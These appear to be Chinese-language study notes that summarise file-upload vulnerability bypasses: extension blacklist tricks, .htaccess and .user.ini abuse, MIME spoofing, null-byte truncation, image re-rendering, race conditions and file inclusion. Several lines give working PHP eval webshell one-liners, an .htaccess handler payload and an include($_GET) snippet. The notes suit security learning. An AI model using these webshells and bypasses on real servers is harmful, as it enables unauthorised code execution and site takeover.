文件上传总结

一、原理

通过界面上的上传功能上传了一个可执行的脚本文件，而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好，使得恶意用户可以通过文件中上传的一句话木马获得操控权

二、绕过方法

1>前端绕过

1.删除前端校验函数

checkFile()

2.禁用js代码

3.bp修改数据包

上传符合要求的后缀名，用bp抓包，修改为木马后缀名即可

2>黑名单绕过

1.等价扩展名绕过

	等价扩展名
asp	asa,cer,cdx
aspx	ashx,asmx,ascx
php	php2,php5,phtml,phps
jsp	jspx,jspf

2.上传.htaccess文件

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch> 

大概意思为，.htaccess文件可以将1.jpg文件当作php文件解析执行。

3.大写绕过（仅Windows）

修改php文件的后缀为1.PHp，然后上传此文件即可

4.空格绕过（仅Windows）

利用bp抓包，在文件扩展名后加空格即可（没有trim函数）

5.点号绕过（仅Windows）

扩展名后加点即可

6.::$DATA绕过限制（仅Windows）

Windows系统在保存1.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串，保存的文件名为1.php。

7.空格+点号绕过

例如1.php . .

8.双写绕过（str_ireplace函数）

程序中的str_ireplace函数会将黑名单中的后缀替换为空，但是只替换了一次，因此我们可以使用双写绕过此函数

9.00截断(move_uploaded_file函数)

move_uploaded_file()函数本身存在逻辑漏洞缺陷，可以实现00截断绕过。也可以在php文件名后添加任意字符，只要不在黑名单限制内都可成功上传文件

10.php其他标签绕过

    <?php @eval($_POST['cmd']); ?>            //正常写法
    <? @eval($_POST['cmd']); ?>                //短标签，适合过滤php
    <% @eval($_POST['cmd']); %>                //asp风格
    <script language='php'>@eval($_POST['cmd']);</script>            //<script>风格，适合过滤<?

11.文件头检测绕过

可以通过php截断后，添加GIF89a进行绕过

12..user.ini

数据包修改为名为.user.ini

类型为image/png

内容为“GIF89a auto_prepend_file=1.png”

三.白名单绕过

1.MIME绕过

抓包将content-type字段的类型修改为image/jpeg，即可绕过检测

2.GET型00截断(仅Windows)

windows系统识别到文件名中00的时候将不再向后识别

仅适用于

php版本小于5.3.4
php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off

3.POST型00截断

在1.php文件后添加00

4.二次渲染

在我们上传文件后，网站会对图片进行二次处理（格式、尺寸要求等），生成一个新的图片保存至服务器中。我们可以将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。

图片马上传后，重新下载，将图片马与下载后的图片在010中进行十六进制比较。找到两个文件数据相同块，在下载后的图片数据相同处插入php恶意语句保存即可。

也可以通过 imagecreatefromgif函数直接转换与原图片进行对比

<?php
$demo = imagecreatefromgif('file');
imagegif($demo,"outfile");
?>

5.条件竞争时间差

当文件上传后，服务器会首先保存然后重命名，最后再把源文件删除。在文件删除之前，如果线程过大可能导致服务器处理数据变慢，从而使黑客有时间对上传的webshell进行访问。此过程只会删除上传的文件，但是不会删除生成的文件，因此可以使用如下的php代码获取shell。

6.apache的addhandler配置解析漏洞

阿帕奇对于解析的文件扩展名会从右往左开始解析，当最右边后缀无法解析时，会往左识别，直到识别合法才进行解析

7.白名单配合文件包含漏洞

文件包含漏洞会将任意类型的文件当作php文件进行解析，如果文件中包含了php代码，则其中的php代码将会执行。

    <?php
       $a=$_GET['inc'];
       include($a);
    ?>

 上传一个图片马，通过文件包含包含此文件

参考博客：http://t.csdnimg.cn/oBT7b